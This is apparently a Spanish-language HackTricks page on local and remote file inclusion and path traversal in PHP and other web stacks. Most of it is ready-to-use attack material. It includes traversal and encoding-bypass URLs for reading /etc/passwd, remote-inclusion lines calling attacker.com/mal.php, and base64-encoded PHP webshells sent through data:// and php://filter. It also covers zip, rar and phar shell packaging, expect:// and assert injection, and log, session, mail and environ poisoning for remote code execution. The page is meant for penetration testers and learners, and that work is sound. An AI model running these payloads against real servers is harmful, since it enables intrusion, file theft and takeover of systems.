33 KiB
Inclusión de Archivos/Travesía de Rutas
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repos de github HackTricks y HackTricks Cloud.
Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking
Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real
Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
Inclusión de Archivos
Inclusión Remota de Archivos (RFI): El archivo se carga desde un servidor remoto (Lo mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include).
Inclusión Local de Archivos (LFI): El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
Funciones PHP vulnerables: require, require_once, include, include_once
Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap
Archivos Ciegos - Interesantes - LFI2RCE
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Combinando varias listas LFI de *nix y añadiendo más rutas, he creado esta:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Intenta también cambiar /
por \
Intenta también añadir ../../../../../
Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para verificar si la vulnerabilidad existe) se puede encontrar aquí
Windows
Fusionando varias listas, he creado:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Intenta también cambiar /
por \
Intenta también eliminar C:/
y añadir ../../../../../
Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para verificar si la vulnerabilidad existe) se puede encontrar aquí
OS X
Revisa la lista LFI de linux.
LFI básico y bypasses
Todos los ejemplos son para Inclusión de Archivos Locales pero también podrían aplicarse a Inclusión de Archivos Remotos (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
secuencias de traversal eliminadas de forma no recursiva
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Byte nulo (%00)
Evita el añadir más caracteres al final de la cadena proporcionada (bypass de: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Esta resuelto desde PHP 5.4
Codificación
Podrías usar codificaciones no estándar como doble codificación de URL (y otras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Desde una carpeta existente
Quizás el back-end está verificando la ruta de la carpeta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Identificación de carpetas en un servidor
Dependiendo del código de la aplicación / caracteres permitidos, podría ser posible explorar recursivamente el sistema de archivos descubriendo carpetas y no solo archivos. Para hacerlo:
- identifica la "profundidad" de tu directorio actual al recuperar con éxito
/etc/passwd
(si estás en Linux):
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- intente adivinar el nombre de una carpeta en el directorio actual agregando el nombre de la carpeta (aquí,
private
), y luego regresando a/etc/passwd
:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
- si la aplicación es vulnerable, podrían darse dos resultados diferentes a la solicitud:
- si obtienes un error / no hay salida, la carpeta
private
no existe en esta ubicación - si obtienes el contenido de
/etc/passwd
, has validado que efectivamente existe una carpetaprivate
en tu directorio actual - las carpetas que descubriste utilizando esta técnica pueden ser sometidas a fuzzing para archivos (usando un método LFI clásico) o para subdirectorios utilizando la misma técnica de manera recursiva.
Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a profundidad 3 del sistema de archivos) quieres verificar si /var/www/
contiene un directorio private
, utiliza el siguiente payload:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
La siguiente secuencia de comandos permite la generación de payloads utilizando sed
(1) como entrada para herramientas de fuzzing de URL como ffuf
(2):
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'
Por supuesto, adapta estos payloads a tus necesidades en términos de profundidad / ubicación / lista de directorios de entrada.
Path truncation
Evita la adición de más caracteres al final de la cadena proporcionada (bypass de: $_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Siempre intenta iniciar la ruta con un directorio falso (a/).
Esta vulnerabilidad se corrigió en PHP 5.3.
Trucos para eludir filtros
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Inclusión Remota de Archivos
En php esto está deshabilitado por defecto porque allow_url_include
está en Off. Debe estar en On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si por alguna razón allow_url_include
está On, pero PHP está filtrando el acceso a páginas web externas, según este post, podrías usar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en b64 y obtener RCE:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
En el código anterior, se agregó +.txt
al final porque el atacante necesitaba una cadena que terminara en .txt
, así que la cadena termina con ello y después de la decodificación b64 esa parte solo devolverá basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado).
{% endhint %}
Otro ejemplo sin usar el protocolo php://
sería:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
## Elemento Raíz en Python
En python en un código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si el usuario pasa una ruta absoluta a file_name
, la ruta anterior simplemente se elimina:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Es el comportamiento previsto según la documentación:
Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de la ruta absoluta.
Java Listar Directorios
Parece que si tienes un Path Traversal en Java y solicitas un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no ocurrirá en otros lenguajes (hasta donde yo sé).
Top 25 parámetros
Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de enlace):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando envoltorios y protocolos de PHP
php://filter
Los filtros de PHP permiten realizar operaciones básicas de modificación en los datos antes de que sean leídos o escritos. Hay 5 categorías de filtros:
- Filtros de Cadenas:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Elimina etiquetas de los datos (todo entre los caracteres "<" y ">")- Nota que este filtro ha desaparecido de las versiones modernas de PHP
- Filtros de Conversión
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma a una codificación diferente (convert.iconv.<input_enc>.<output_enc>
). Para obtener la lista de todas las codificaciones soportadas ejecuta en la consola:iconv -l
{% hint style="warning" %}
Abusando del filtro de conversión convert.iconv.*
puedes generar texto arbitrario, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información revisa LFI2RCE a través de filtros de PHP.
{% endhint %}
- Filtros de Compresión
zlib.deflate
: Comprime el contenido (útil si se está exfiltrando mucha información)zlib.inflate
: Descomprime los datos- Filtros de Encriptación
mcrypt.*
: Obsoletomdecrypt.*
: Obsoleto- Otros Filtros
- Ejecutando en php
var_dump(stream_get_filters());
puedes encontrar un par de filtros inesperados: consumed
dechunk
: revierte la codificación de fragmentos HTTPconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} La parte "php://filter" no distingue entre mayúsculas y minúsculas {% endhint %}
php://fd
Este envoltorio permite acceder a los descriptores de archivo que el proceso tiene abiertos. Potencialmente útil para exfiltrar el contenido de archivos abiertos:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
También puedes usar php://stdin, php://stdout y php://stderr para acceder a los descriptores de archivo 0, 1 y 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
zip:// y rar://
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.
Para poder abusar del protocolo rar, este necesita estar específicamente activado.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Hecho curioso: puedes activar un XSS y evadir el Auditor de Chrome con: http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Ten en cuenta que este protocolo está restringido por las configuraciones de php allow_url_open
y allow_url_include
expect://
Expect debe estar activado. Puedes ejecutar código utilizando esto.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique su payload en los parámetros POST
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
phar://
Un archivo .phar
también puede ser utilizado para ejecutar código PHP si la web está usando alguna función como include
para cargar el archivo.
{% code title="create_phar.php" %}
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
{% endcode %}
Y puedes compilar el phar
ejecutando la siguiente línea:
php --define phar.readonly=0 create_path.php
Se generará un archivo llamado test.phar
que puedes usar para abusar del LFI.
Si el LFI solo está leyendo el archivo y no ejecutando el código PHP dentro de él, por ejemplo, utilizando funciones como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize(). Puedes intentar abusar de una deserialización que ocurre al leer un archivo utilizando el protocolo phar.
Para más información, lee el siguiente post:
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Más protocolos
Consulta más protocolos posibles para incluir aquí:
- php://memory y php://temp — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
- file:// — Acceso al sistema de archivos local
- http:// — Acceso a URLs HTTP(s)
- ftp:// — Acceso a URLs FTP(s)
- zlib:// — Streams de compresión
- glob:// — Buscar rutas que coincidan con un patrón (No devuelve nada imprimible, por lo que no es realmente útil aquí)
- ssh2:// — Secure Shell 2
- ogg:// — Streams de audio (No es útil para leer archivos arbitrarios)
LFI vía 'assert' de PHP
Si te encuentras con un LFI difícil que parece estar filtrando cadenas de traversal como ".." y responde con algo como "Intento de hacking" o "¡Buena prueba!", un payload de inyección 'assert' puede funcionar.
Un payload como este:
' and die(show_source('/etc/passwd')) or '
explotará con éxito código PHP para un parámetro "file" que se ve así:
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
También es posible obtener RCE en una declaración "assert" vulnerable utilizando la función system():
' and die(system("whoami")) or '
Asegúrate de codificar las cargas útiles en URL antes de enviarlas.
¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.
Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!
PHP Blind Path Traversal
{% hint style="warning" %}
Esta técnica es relevante en casos donde controlas la ruta del archivo de una función PHP que accederá a un archivo pero no verás el contenido del archivo (como una simple llamada a file()
), pero el contenido no se muestra.
{% endhint %}
En este increíble post se explica cómo se puede abusar de un blind path traversal a través de un filtro PHP para exfiltrar el contenido de un archivo a través de un oráculo de error.
Como resumen, la técnica utiliza la codificación "UCS-4LE" para hacer que el contenido de un archivo sea tan grande que la función PHP que abre el archivo provocará un error.
Luego, para filtrar el primer carácter se utiliza el filtro dechunk
junto con otros como base64 o rot13 y finalmente los filtros convert.iconv.UCS-4.UCS-4LE y convert.iconv.UTF16.UTF-16BE se usan para colocar otros caracteres al principio y filtrarlos.
Funciones que podrían ser vulnerables: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (solo objetivo de solo lectura con esto)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Para los detalles técnicos, ¡revisa el post mencionado!
LFI2RCE
Inclusión Remota de Archivos
Explicado anteriormente, sigue este enlace.
Vía archivo de registro de Apache/Nginx
Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función include, podrías intentar acceder a /var/log/apache2/access.log
o /var/log/nginx/access.log
, establecer dentro del agente de usuario o dentro de un parámetro GET una shell de PHP como <?php system($_GET['c']); ?>
e incluir ese archivo.
{% hint style="warning" %} Ten en cuenta que si usas comillas dobles para la shell en lugar de comillas simples, las comillas dobles se modificarán por la cadena "quote;", PHP lanzará un error allí y nada más se ejecutará.
Además, asegúrate de escribir correctamente la carga útil o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad. {% endhint %}
Esto también podría hacerse en otros registros pero ten cuidado, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. El encabezado autorización "basic" contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría insertarse dentro de este encabezado.
Otras posibles rutas de registros:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Lista de fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Vía Email
Envía un correo a una cuenta interna (usuario@localhost) que contenga tu payload de PHP como <?php echo system($_REQUEST["cmd"]); ?>
e intenta incluir el correo del usuario con una ruta como /var/mail/<NOMBREDEUSUARIO>
o /var/spool/mail/<NOMBREDEUSUARIO>
Vía /proc/*/fd/*
- Sube muchas shells (por ejemplo: 100)
- Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, donde $PID = PID del proceso (puede ser forzado bruscamente) y $FD el descriptor de archivo (también puede ser forzado bruscamente)
Vía /proc/self/environ
Como un archivo de registro, envía el payload en el User-Agent, se reflejará dentro del archivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Vía carga de archivos
Si puedes cargar un archivo, simplemente inyecta el payload de la shell en él (por ejemplo: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
A través de la carga de archivos Zip
Sube un archivo ZIP que contenga un shell PHP comprimido y accede:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
A través de sesiones PHP
Comprueba si el sitio web utiliza Sesión PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP, estas sesiones se almacenan en archivos /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Establece la cookie en <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Utiliza el LFI para incluir el archivo de sesión PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Vía ssh
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status & /etc/passwd) e intenta acceder a <HOME>/.ssh/id_rsa
Vía vsftpd logs
Los registros de este servidor FTP se almacenan en /var/log/vsftpd.log. Si tienes un LFI y puedes acceder a un servidor vsftpd expuesto, podrías intentar iniciar sesión estableciendo el payload de PHP en el nombre de usuario y luego acceder a los registros utilizando el LFI.
Vía filtro base64 de php (usando base64)
como se muestra en este artículo, el filtro base64 de PHP simplemente ignora los caracteres que no son base64. Puedes usar eso para eludir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
Este writeup explica que puedes usar filtros php para generar contenido arbitrario como salida. Lo que básicamente significa que puedes generar código php arbitrario para el include sin necesidad de escribir en un archivo.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Via segmentation fault
Sube un archivo que se almacenará como temporal en /tmp
, luego en la misma solicitud, provoca un segmentation fault, y entonces el archivo temporal no se eliminará y podrás buscarlo.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Via Nginx temp file storage
Si encontraste una Local File Inclusion y Nginx está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Via PHP_SESSION_UPLOAD_PROGRESS
Si encontraste una Local File Inclusion incluso si no tienes una sesión y session.auto_start
está en Off
. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS
en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Via temp file uploads in Windows
Si encontraste una Local File Inclusion y el servidor está ejecutándose en Windows, podrías obtener RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Via phpinfo() (file_uploads = on)
Si encontraste una Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on, puedes obtener RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Si encontraste una Local File Inclusion y puedes exfiltrar la ruta del archivo temporal PERO el servidor está verificando si el archivo a incluir tiene marcas de PHP, puedes intentar burlar esa verificación con esta Condición de Carrera:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Via eternal waiting + bruteforce
Si puedes abusar de la LFI para subir archivos temporales y hacer que el servidor cuelgue la ejecución de PHP, podrías entonces fuerza bruta en los nombres de archivos durante horas para encontrar el archivo temporal:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
To Fatal Error
Si incluyes cualquiera de los archivos /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Necesitas incluir el mismo dos veces para provocar ese error).
No sé cómo esto puede ser útil, pero podría serlo.
Incluso si causas un PHP Fatal Error, los archivos temporales subidos de PHP se eliminan.
Referencias
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.
Hacking Insights
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
Real-Time Hack News
Mantente al día con el mundo del hacking a través de noticias e insights en tiempo real.
Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones cruciales de la plataforma.
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo.
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos.
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub HackTricks y HackTricks Cloud.